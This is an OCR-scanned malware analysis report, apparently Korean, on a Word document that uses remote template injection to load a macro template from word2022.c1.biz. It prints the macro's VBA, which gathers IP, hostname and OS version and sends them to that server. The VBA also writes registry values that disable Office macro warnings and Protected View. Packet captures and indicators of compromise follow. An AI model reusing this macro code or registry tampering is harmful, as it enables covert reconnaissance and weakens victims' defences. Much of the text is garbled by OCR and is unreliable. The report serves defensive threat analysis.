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mplate” Tar'get:l"http :/word2022. cl. biz/template. dotrn"i TargetMode="External" /></Relationshipsk i

2 2. Remote Template Injection

Copyright © ZERO Co., Ltd. All rights reserved.



ANALYSIS REPORT 2022.10

24 Y AAo= a2 7]50] 5o AR EX|UF, hxxp://word2022[.]cl[.]biz/template.dotm
URLO] A &35t0] dotm mdS thwot tja=5 AM3gstA ot HO“T‘J(CVE-2013-3906)% o]-&stoq
Remote Template InjectionS $£388 dt= 7oz, Uj3 2 7]50] Y= 2A]E 0]8&35t0 EHX|E L3519
g miZ& 7]50] = dotm mY-E thewtol IR AsYstA ot

% HA SUTL 252 222)

41Te a0l QY ESFAN SR (322 EH)

# 24109/2022,19:07 A AT A A

’ 7

H|E91,2700 SHIClo| 4 A HE A=A 0

0181 A DU E A2 0

: BN ZR YRR, HE A0
= | xumoseaarooaz A AL

4 Lnxge ARoIE Y, AN YA HY

%) Template - ThisDocument (2=) = eS|

Document -~ Open

Priwate Sub Document_Open( ) =
4t veDocument .Content .Font.Colorindsi = wdBlack
HSEBSODE,
FoKa1655D
ThisOocument .Saved = Trus
Act [webacument , Saved =
AZE lvEDacURERt ATt athaaT cap Iate. Saved - True
End Sub
Function Getlp i
stréomputer =
Set objUWHIService — BetObiect{ winmamts!##" & striomputer & “#rootWCIHY2")
Set calltems - obiUMISsrvice. ExecOuery( SELECT + FROM Win32_MetwnrkidapterDanfiguration WHERE IPEmabled = Trus™. . 483
locallp
For Each obilten In colltens
|- LBoundtob]item. PAddress) To UBoundobjitsm. |Paddress)
R : o3

StrComplobiltem. IPAddress(i),
ob) Ttem ServiceName <> TuNietadaptort And ab) Item.ServiceNans <= “YNA" And obiitem.ServiceName <> “vna_ap® T
locallp = locallp & “_" & objltem.|PAddress{i)
End I

Next
Hext
Getlp = locallp
End Functio =
FUREL Ul BUSPREENARSCD 3

im obiHTI

LT SRINTIRES - croateomisctct L

ComputerName = objNT nfa.CamputerNa

ComputerName

Funct ion DsVersioni

Set objWMIService0S = GetObiect("winmamts: 4 #root®o | MY2" )
Set colltems0S = obiWMIService0S. ExecOuery( "SELECT + FROM Win32_OperstingSvstem™, . 48)
For Each objltem In colltems0s
Os¥ersion = objltem. ¥ersion
Exit For

JOD
S eEn Frwaro2n2e c1 . biz// index, pho? Z OsYersion & “&name=" & GetHostMame & "&ip=" & Getlp
Dim =Http: Set =Http = Createdbiect(’ e asoet “BMLHTTRS S
=Http.Open “BET™, URL,

end

Sub FOKZ46SS0C ) T
Oim wordVr As String

Oim wsh 4s Dblect

word¥r = application.¥ersion

reatedbject( "WScript.Shell"}
WOFficeW" & word¥r & "#WordWSecurityW®AccessYBOM®, 1, "REG_DWORD"
WOFfice®" & word¥r & “#WordWSecurity®YBAWarnings®, 1, "REB_OWORD"
WOFFice®” & wordyr & “WHordWSecurifvWProtected¥ i ew?Disableaftachments nPy, 1, “REG_DWORD®
WOFficet” & wordvr & “wwnrnwsetur|twa’rDtEEtEnV\EwwD\SﬂDIEUHEﬂfELDcat\DnEInF’V 1, "REG_DWORD
WOFficet” & wardyr & “#Word®SecurityWProtectedViewt®Disable|nternetFilesinf . "REG_DWDRD

v

I 4. docx =AY tja=

Function Betlp(
strCamputer = .
Set ob]WMIService = GetObject{"winmamts:#%" & strComputer & “#root#CIMV2" )

Set colltems = obiWMIService. ExecQuery( "SELECT + FROW Win32_MetworkadapterConfisuration WHERE |PEnabled = True®, , 48}
locallp = "

For Each objltem In colltems

For i = LBound{obj |tem. |Phddress} To UEDLIHU(DDJ Item. IPAddresS)
If {3trComp(objItem. |PAddress(i), "0.0 0" => 0) A
objltem. ServiceName <> VMnetAdapter And objltem.ServiceName <> "¥NA" &nd objltem ServiceMame <> "wna_ap” Then
locallp = locallp & "." & objltem. |PAddress(i)
End If
Next

. il

Firoiéct.'Thisl'joc'ur‘nent.‘éet\p'

A [ 2
Tfe
Getlp Ermpty
Getlp Ernpty
strComputer e
objWhMIService
collterns
locallp i v
objltern Ernpty
I 2
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Function GetHostName(
Oim objNTInfo
et objNTInfo = Createdbject{"WinNTSysteminfo")
ComputerMame = objMTInfo.ConputearName
FetHostMame = ComputerNane
End Function

Function DsYersion(

4 1

Froject, ThisDocument, GetHostMame

] | =t
e

GetHostMame Ernpty

GetHostMarme Ernpty
objM Tinfo

ComputerMame

23 6. PC 0|8 24

Function Os¥ersion(
Set obiWHIServicels = GetObject( "winmamts: 4 HrootHo I MYZ" )
et colltems03 = obiWHIService0s ExecOuery( "SELECT + FROM Win32_OperatingsSwstem”,
For Each objltem In colltemsOS

Os¥erkion = objltem.Yersion
Exit For
Mest

1| ITI]

e

Project, ThisDocument, OsVersion

. 48]

Bl

& I

fle
DsVersion Ernoty
OsVersion 1

objWhIService03

collterns0s

objltern

I8 7. 0S ¥A 24

2, HES3

LRL = "http://word2022,c1.biz//indew,php?" & "os=" & DsVersion & "Sname=" & AetHosthane & "Rip=" § Betlp
S| Din sHttp: Set sHttp = Create0bject("icrosoft XHLHTTR")

sHttp.Open "GET", URL, False

sHttp. Send

Sub FOR3ABSSN(

tﬁil:'ll“].

i
K

Profect ThisDozument HEARS00E.

Al ‘Jf

Me
LRL “hitps/fward 2022, biz/indes, phofos=h 1, F01name=3 TAR-PC &ip=_
sHtip Ernpty

a8 44" HE 95
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il i

T XE e=E7szEaaan
(] |"—'P-5‘TEEF" eql [¥] + | Expression..
No, Time Source Destinatian Protocol  Dst.port  Length Info
21 4,389878 TCR B@ 66 54901 + 88 [SYN] Seq=2 Win=8192 Len=@ MSS=146@ WS=4 SACK PERM=1
22 4.588898 TCP 54981 60 88 = 54981 [SYN, ACK] Seq=8 Ack=1 Win=64248 Len=9 M55-1468
23 4.583939 TCP 88 54 54981 + 8@ [ACK] Seq=1 Ack=1 Win=64248 Len=8
i 24 4.553043 HTTP 88 443 GET //index.php?os=6.1.76@81&name=STAR-PCAip= HTTR/1.1

I Frame 24: 443 bytes on wire (3544 hits), 443 bytes captured (3544 bits) on interface @
Ethernet II, Src: Vmware_@b:c6:al (@0:0c:29:8b:cé:al), Dst: Vmware_f@:52:a7 (00:50:56:8:52:a7)
Internet Protocol Version 4, Src: » Dst:

Transmission Cont_r'ol Protocol, Src Port: 54901, Dst Port: 8@, Seq: 1, Ack: 1, Len: 389

4 Hypertext Transfer Protocol

! GET //index.php?os=6.1.76@18name=STAR-PCRip= = = & HTTP/L.I\r\n.
Accept: */*\r\n
UA-CPU: AMDES\r\n
Accept-Encoding: gzip, deflate\rin

Host: word2@22.cl.biz\r\n

Connection: Keep-Alive\r\n

\rin

.php?os=6.1.7681&name=5TAR-PCRip= — _—

User-Agent: Mozilla/4.8 (compatible; MSIE 7.8; Windows NT 6.1; Win64; x64; Trident/4.€; .NET CLR 2.8.50727; SLCC2; .NET CLR 3.5.30729;

LNET CLR 3.8.30729; Media Center

| Ml Wirzshark - Follow TCP Stream (tepstream aq 1) - 22 2= &7

GET //index.php?os=6.1.76@1&name=STAR-PCaip=_ HTTR/1.1
Accept: */*

UA-CPU: AMDGA

Accept-Encoding: gzip, deflate

PC 6.8; InfoPath.3; .NET4.6C; .NET4.QE)
Host: word2822.cl.biz
Connection: Keep-Alive

HTTP/1.1 483 Forbidden

Date: Wed, 28 Sep 2022 5:12:25 GMT

Server: Apache

Last-Modified: Wed, 19 Sep 2012 23:44:43 GMT
ETag: "6e-4cal69747decs”

Accept-Ranges: bytes

Content-Length: 118

Connection: close

Content-Type: text/html

<html><head><meta http-equiv="refresh” content=";http://biz.nf/errors/403.html" /></head><body></body></html>

O 9. C&C Av| A& HH

ST ALBAIQ| 7|7|HE(PCOIE, IP, OSHM)E C&C MH{= M&sict
CRCAMHOM ~got YES 7|82 23t ofo|Hqel A7t O|FA A=

4. loC 38
md5 00e6e9ed4666623860686c123ed334f0 (docx)

md5 2CODB5D995D997A7687F527C493B4C89 (dotm)

hxxp://word2022.c1.biz/template.dotm
hxxp://word2022.c1.biz/index.php

* 270 HHYEE AOIHLY HE EE S3ET ZeroBOX oA
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User-Agent: Mozilla/4.8 (compatible; MSIE 7.8; Windows NT 6.1; Winsd; x64; Trident/4.8; .NET CLR 2.8.58727; SLCC2; .MET CLR 3.5.30729; .NET CLR 3.8.38729; Media Center




